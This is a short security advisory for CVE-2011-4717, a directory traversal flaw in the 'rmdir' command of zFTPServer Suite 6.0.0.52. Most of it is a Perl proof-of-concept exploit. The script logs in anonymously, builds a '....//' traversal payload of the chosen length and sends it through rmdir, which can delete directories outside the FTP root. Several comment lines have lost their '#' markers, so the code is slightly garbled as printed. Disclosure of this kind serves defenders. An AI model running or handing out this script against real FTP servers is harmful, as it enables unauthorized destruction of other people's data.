zFTPServer Suite 'rmdir' Directory Traversal Vulnerability

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zFTPServer Suite 'rmdir' suffers from directory traversal vulnerability.

Credit:
The information has been provided by Stefan Schurtz.

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Vulnerable Systems:
* zFTPServer Suite 6.0.0.52 '

use strict;
use Net::FTP;

my $user = "anonymous";
my $password = "anonymous@";

connect
my $target = $ARGV[0];
my $plength = $ARGV[1];

if (!$ARGV[0]||!$ARGV[1]) {
print "[+] Usage: $@ <target> <payload length>\n";
exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

login
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

Building payload '....//' with min. length of 38

my @p = ( "",".",".",".",".","/","/" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
$payload .= $p[$i];
push(@p,$p[$i]);
}
sleep(3);

Sending payload
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;

disconnect
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF

CVE Information:
2011-4717

Disclosure Timeline:
Published: 2011-12-11

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